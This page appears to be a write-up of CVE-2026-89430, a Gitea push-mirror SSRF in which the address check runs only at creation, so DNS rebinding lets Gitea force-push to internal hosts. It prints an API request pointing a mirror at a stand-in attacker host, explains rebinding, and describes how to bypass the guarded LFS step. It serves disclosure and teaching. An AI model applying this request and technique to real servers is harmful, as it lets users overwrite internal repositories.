Skip to content
SSRF Write-up Intermediate

Gitea Guarded Three Doors and Forgot the Fourth

Gitea checked a push mirror's remote address against the admin block list only when the mirror was created, then reused the saved address on every later sync. An attacker could point the hostname at an internal server after creation and have Gitea push to it, potentially overwriting repositories on an internal git service that accepts unauthenticated pushes.

medium.com

Published on medium.com

Cve 2026 89430

Mayssare, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Gitea is a self-hosted Git server, and a lot of teams keep their private code on it. One of its features is repository mirroring: Gitea can mirror a repository to another git server. You give it an address, and it pushes a copy there on a timer or on every commit.

Because that address is supplied by a user and the server makes the outbound connection, admins can set a block list so mirrors cannot be pointed at internal hosts. When you create a mirror, the address is checked against that list.

The question this write-up answers is what happens after that check.

Setup

The author was going through open source projects looking for bugs in software that real people run, and Gitea was the target this time.

The precondition for the attack is modest: adding a push mirror only needs admin on a repository, and every user is admin on the repositories they create. So any user can create a push mirror. The author notes that they could not test real DNS rebinding without running a DNS server they control, so the testing described below is the closest available approximation, not a live attack on a production server.

Finding it

The creation-time check is real and it works. The author wanted to know what happens after it. The answer is nothing: the check runs once, when the mirror is created. After that the saved address goes straight into git push on every sync, and git does its own DNS lookup, so whatever the hostname points to at that moment is where Gitea connects.

What convinced the author this was a mistake rather than a design choice was the LFS code in the same function. When LFS is on, the LFS upload goes through a client that enforces the block list. So one sync opens two connections, and only one of them follows the rule. The plain git push sitting right next to it skips the check. Pull mirrors, by contrast, re-check the address on every sync. The block list therefore guards three doors: when a mirror is created, when a pull mirror syncs, and on the LFS upload. The plain git push is the fourth door, and nobody locked it.

Exploitation

Step 1: create the push mirror against a public address

The mirror is created through the API:

HTTP
POST /api/v1/repos/{owner}/{repo}/push_mirrors{"remote_address": "http://attacker.example/repo.git", "sync_on_commit": true}

The remote_address is the address Gitea will push to, and sync_on_commit makes a sync happen on every commit in addition to the timer. At creation time the hostname points at a normal public IP, so the check passes and the mirror gets created.

Step 2: repoint the hostname

After creation, the author repoints the name at something inside the network. No further interaction with Gitea is needed for this step; the saved address is unchanged, only what it resolves to has changed.

Step 3: let the sync run

On the next sync, Gitea pushes the repository to that internal machine. From there it runs on its own: the timer triggers it, and so does every commit. The push is --mirror --force, so any branch on the target that is not in the attacker's repository gets deleted and the attacker's is written in its place.

Step 4: what the researcher could actually demonstrate

Without a DNS server under their control, the author tested the closest thing to rebinding. They created a mirror pointing at a local listener while the setting allowed it, switched the setting to blocked, and triggered a sync. The listener still got the connection. The same test on a pull mirror gets refused. That shows the sync never consults the policy, which is the whole bug.

From the original on medium.com

Root cause

The address policy is evaluated only at mirror creation. The sync path takes the stored address and hands it to git push, which performs its own DNS resolution at connection time, so the policy is never consulted again. The same function contains an LFS upload path that does go through a client enforcing the block list, and pull mirrors re-check on every sync, which makes the omission on the plain push path look like an oversight rather than an intentional design.

Impact

Any user who can create a repository can create a push mirror, and therefore can cause Gitea to push to an internal host once the hostname is repointed. Because the push is --mirror --force, any branch on the target that is not in the attacker's repository is deleted and replaced. If an internal git service lets anyone push without logging in, a free account can overwrite its repositories.

There are limits. Writing into an internal server only works if that server accepts unauthenticated pushes. And if the LFS server is on and the source repository contains an LFS object, the sync stops at the guarded LFS step before reaching the push. The attacker owns the source repository, so they simply leave LFS objects out.

The issue was rated High and published as CVE-2026-89430.

Fix

The fix landed on September 15, and the advisory went public on October 6, 2026. The fixed release is Gitea 28.0.0. If you run Gitea and cannot upgrade yet, setting [mirror] ENABLED=false stops all mirror updates.

The author reported the issue to the Gitea team on August 24. Two other researchers, thesmartshadow and manus-use, had also found and reported it; the Gitea team merged the reports into one and the CVE credits all three. The fix was written by TheFox0x7, bircni and wxiaoguang.

Variants to test

  1. Other outbound-connection features with a creation-time check. Look for any feature where a user supplies a URL that the server later fetches or connects to, and where validation happens only when the record is saved. A positive result is that changing what the hostname resolves to after saving still causes the server to connect to the new target.
  2. Mixed enforcement inside one operation. Where a single sync or job opens more than one connection, check whether every connection goes through the same policy client. A positive result is one connection refused and another allowed in the same operation, as with the LFS upload versus the plain push here.
  3. Pull versus push symmetry. Compare how pull mirrors and push mirrors handle the address on each sync. A positive result is that one re-validates and the other does not.
  4. Force semantics on the target. Where the outbound operation is a forced mirror push, check what happens to branches on the receiving side that do not exist on the source. A positive result is deletion of those branches on an internal service that accepts unauthenticated pushes.
  5. Policy toggles after creation. Create the object while the destination is allowed, then switch the policy to blocked and trigger the operation. A positive result is that the connection still happens, which shows the policy is not consulted at use time.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

Gitea is a piece of software that a team can install on its own computer (a server) to store and manage its code. Many teams keep private code on it. One of its features lets a repository be copied automatically to another code server: you give Gitea an address, and Gitea pushes a copy of your repository there, either on a timer or every time someone commits (saves) a change.

Because that address is typed in by a user, and because the Gitea server is the one making the outgoing connection, the people who run Gitea can set a block list: a list of addresses that mirrors are not allowed to point at, such as machines inside the company network. When you create a mirror, Gitea checks the address against that list.

The author asked a simple question: what happens after that check? The answer is nothing. The check runs once, when the mirror is created. After that, the saved address is handed straight to the git push command on every sync, and git does its own lookup of what the address means at that moment. So whatever the address points to right now is where Gitea connects.

This is a beginner's walkthrough of that finding, published as CVE-2026-89430. It covers what the feature does, why the check was in the wrong place, how the researcher demonstrated it, what the limits are, and how it was fixed.

The product and the feature

Gitea is a self-hosted Git server. "Self-hosted" means a team runs it on its own machine rather than using a hosted service. "Git" is the tool developers use to track changes to code; a "repository" (repo) is a project's folder of code plus its history of changes.

Repository mirroring is the feature at the centre of this story. Gitea can mirror a repository to another git server. You give it an address, and it pushes a copy there on a timer or on every commit. Think of it like setting up an automatic backup: you tell the software where the copy should go, and it keeps sending updates without you doing anything.

Because that address is supplied by a user and the server makes the outbound connection, admins can set a block list so mirrors cannot be pointed at internal hosts. An "internal host" is a machine that is only reachable from inside a private network, not from the public internet. The block list is a safety rule: do not let a user make our server connect to our own private machines.

When you create a mirror, the address is checked against that list. The question this write-up answers is what happens after that check.

Who could do this

The precondition for the attack is modest: adding a push mirror only needs admin on a repository, and every user is admin on the repositories they create. So any user can create a push mirror. In everyday terms: you do not need to be a company administrator; you only need a normal account and a repository of your own, which you are allowed to create.

The author also notes a limit on the testing: they could not test real DNS rebinding without running a DNS server they control. So the testing described below is the closest available approximation, not a live attack on a production server. We will explain DNS and rebinding shortly.

Finding it

The creation-time check is real and it works. The author wanted to know what happens after it. The answer is nothing: the check runs once, when the mirror is created. After that the saved address goes straight into git push on every sync, and git does its own DNS lookup, so whatever the hostname points to at that moment is where Gitea connects.

Two terms need unpacking here.

A hostname is the human-readable name of a machine on a network, like example.com. A DNS lookup is the process of turning that name into the numeric address (the IP address) of the machine it refers to. DNS is like a phone book: you look up a name and get a number. The important part is that the phone book can be edited: the same name can point to a different number tomorrow, or even a minute from now.

So the check at creation time asks one question: "was this address fine when you added it?" The question that matters is: "is it fine right now?"

What convinced the author this was a mistake rather than a design choice was the LFS code in the same function. LFS stands for Large File Storage: a way for git to keep big files (videos, datasets, binaries) somewhere separate instead of inside the repository history. When LFS is on, the LFS upload goes through a client that enforces the block list. So one sync opens two connections, and only one of them follows the rule. The plain git push sitting right next to it skips the check.

Pull mirrors, by contrast, re-check the address on every sync. A pull mirror is the reverse direction: instead of Gitea pushing your code out, Gitea pulls code in from somewhere else. The block list therefore guards three doors: when a mirror is created, when a pull mirror syncs, and on the LFS upload. The plain git push is the fourth door, and nobody locked it.

That is the whole idea in one image: three doors have locks, the fourth does not, and the fourth is the one that matters for this attack.

Exploitation

Step 1: create the push mirror against a public address

The mirror is created through the API. An API (Application Programming Interface) is a way for one program to talk to another over the network, usually by sending a request to a specific web address and getting data back. If a website is a form you fill in with a browser, an API is the same idea for programs: you send a request with some data, and the server acts on it. Here the request is an HTTP POST, which is the method used when you are asking a server to create or change something.

HTTP
POST /api/v1/repos/{owner}/{repo}/push_mirrors{"remote_address": "http://attacker.example/repo.git", "sync_on_commit": true}

Line by line, in plain words:

  • POST is the action: create something.
  • /api/v1/repos/{owner}/{repo}/push_mirrors is the address of the API endpoint. An endpoint is a specific URL that a program can call to perform one operation. {owner} and {repo} are placeholders for the account name and the repository name; you replace them with your own. The path says: for this owner's repository, work with push mirrors.
  • {"remote_address": "http://attacker.example/repo.git", "sync_on_commit": true} is the body of the request, written in JSON. JSON is a text format for structured data, made of names and values in curly braces. remote_address is the address Gitea will push to. sync_on_commit makes a sync happen on every commit in addition to the timer.

At creation time the hostname points at a normal public IP, so the check passes and the mirror gets created. In other words, the researcher first made the address look harmless: it resolved to a machine on the public internet, which the block list allows.

Step 2: repoint the hostname

After creation, the author repointed the name at something inside the network. No further interaction with Gitea is needed for this step; the saved address is unchanged, only what it resolves to has changed.

This is the idea behind DNS rebinding, in its simplest form. The name stays the same, but the phone book entry behind it is changed to a different number. Gitea still holds the same text address; it has no idea that the text now leads somewhere else. The researcher could not run a real DNS server they controlled, so this exact step was approximated in the test described in step 4.

Step 3: let the sync run

On the next sync, Gitea pushes the repository to that internal machine. From there it runs on its own: the timer triggers it, and so does every commit. The push is --mirror --force, so any branch on the target that is not in the attacker's repository gets deleted and the attacker's is written in its place.

A branch is a line of development inside a repository, like a separate version of the project. --mirror means "make the destination an exact copy of the source, including all branches". --force means "do not stop to ask, overwrite whatever is there". Together they mean the destination is made to look exactly like the attacker's repository, and anything on the destination that the attacker does not have is removed.

Step 4: what the researcher could actually demonstrate

Without a DNS server under their control, the author tested the closest thing to rebinding. They created a mirror pointing at a local listener while the setting allowed it, switched the setting to blocked, and triggered a sync. The listener still got the connection. The same test on a pull mirror gets refused. That shows the sync never consults the policy, which is the whole bug.

A listener here is simply a small program that waits for incoming connections and records them, so you can see whether anything arrived. The test is clever because it does not need DNS at all: it changes the rule after the object is created, and checks whether the rule is looked at again. It is not. The pull mirror, which does re-check, refuses. That difference is the evidence.

From the original on medium.com

Root cause

The address policy is evaluated only at mirror creation. The sync path takes the stored address and hands it to git push, which performs its own DNS resolution at connection time, so the policy is never consulted again. The same function contains an LFS upload path that does go through a client enforcing the block list, and pull mirrors re-check on every sync, which makes the omission on the plain push path look like an oversight rather than an intentional design.

In beginner terms: the rule was written down and applied at the front desk, but the back door does not ask the front desk anything. The code that does the actual push never calls the code that knows the block list. Because two neighbouring paths in the same function do call it, the missing call looks like something forgotten, not something decided.

Impact

Any user who can create a repository can create a push mirror, and therefore can cause Gitea to push to an internal host once the hostname is repointed. Because the push is --mirror --force, any branch on the target that is not in the attacker's repository is deleted and replaced. If an internal git service lets anyone push without logging in, a free account can overwrite its repositories.

There are limits. Writing into an internal server only works if that server accepts unauthenticated pushes. And if the LFS server is on and the source repository contains an LFS object, the sync stops at the guarded LFS step before reaching the push. The attacker owns the source repository, so they simply leave LFS objects out.

So the realistic damage is: an internal code server that trusts anyone on the network could have its branches overwritten by a normal user of the Gitea instance. The attacker controls the source repository, so they can avoid the one guarded step by not including large files.

The issue was rated High and published as CVE-2026-89430. A CVE is a public identifier for a known security flaw, so people can refer to the same issue unambiguously.

Fix

The fix landed on September 15, and the advisory went public on October 6, 2026. The fixed release is Gitea 28.0.0. If you run Gitea and cannot upgrade yet, setting [mirror] ENABLED=false stops all mirror updates.

That last line is a configuration setting: it turns the mirror feature off entirely, which removes the risk at the cost of losing the feature until you can upgrade.

The author reported the issue to the Gitea team on August 24. Two other researchers, thesmartshadow and manus-use, had also found and reported it; the Gitea team merged the reports into one and the CVE credits all three. The fix was written by TheFox0x7, bircni and wxiaoguang.

Variants to test

These are general lessons for anyone looking for similar bugs, not steps in this specific attack.

  1. Other outbound-connection features with a creation-time check. Look for any feature where a user supplies a URL that the server later fetches or connects to, and where validation happens only when the record is saved. A positive result is that changing what the hostname resolves to after saving still causes the server to connect to the new target.
  2. Mixed enforcement inside one operation. Where a single sync or job opens more than one connection, check whether every connection goes through the same policy client. A positive result is one connection refused and another allowed in the same operation, as with the LFS upload versus the plain push here.
  3. Pull versus push symmetry. Compare how pull mirrors and push mirrors handle the address on each sync. A positive result is that one re-validates and the other does not.
  4. Force semantics on the target. Where the outbound operation is a forced mirror push, check what happens to branches on the receiving side that do not exist on the source. A positive result is deletion of those branches on an internal service that accepts unauthenticated pushes.
  5. Policy toggles after creation. Create the object while the destination is allowed, then switch the policy to blocked and trigger the operation. A positive result is that the connection still happens, which shows the policy is not consulted at use time.

Glossary

  • API: a way for one program to talk to another over the network, usually by sending a request to a specific address and getting data back.
  • API endpoint: a specific URL that a program can call to perform one operation.
  • Block list: a list of addresses that a feature is not allowed to connect to, such as machines inside a private network.
  • Branch: a line of development inside a repository, like a separate version of the project.
  • Commit: a saved change in a repository's history.
  • CVE: a public identifier for a known security flaw, so people can refer to the same issue unambiguously.
  • DNS: the system that turns a hostname into the numeric address of the machine it refers to, like a phone book.
  • DNS lookup: the act of asking DNS what address a hostname currently points to.
  • DNS rebinding: changing what a hostname resolves to after a check has already been made, so the same name later leads somewhere else.
  • Git: the tool developers use to track changes to code.
  • Gitea: a self-hosted Git server, software a team runs on its own machine to store and manage code.
  • Hostname: the human-readable name of a machine on a network, like example.com.
  • HTTP POST: the request method used when asking a server to create or change something.
  • Internal host: a machine reachable only from inside a private network, not from the public internet.
  • IP address: the numeric address of a machine on a network.
  • JSON: a text format for structured data, made of names and values in curly braces.
  • LFS (Large File Storage): a way for git to keep big files somewhere separate instead of inside the repository history.
  • Listener: a small program that waits for incoming connections and records them, used here to see whether a connection arrived.
  • Mirror: an automatic copy of a repository on another server.
  • Pull mirror: a mirror where Gitea pulls code in from another server.
  • Push mirror: a mirror where Gitea pushes your code out to another server.
  • Repository (repo): a project's folder of code plus its history of changes.
  • Self-hosted: software a team runs on its own machine rather than using a hosted service.
  • Sync: one run of the mirroring process, triggered by a timer or by a commit.
  • Unauthenticated push: a push to a server that does not require the sender to log in first.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.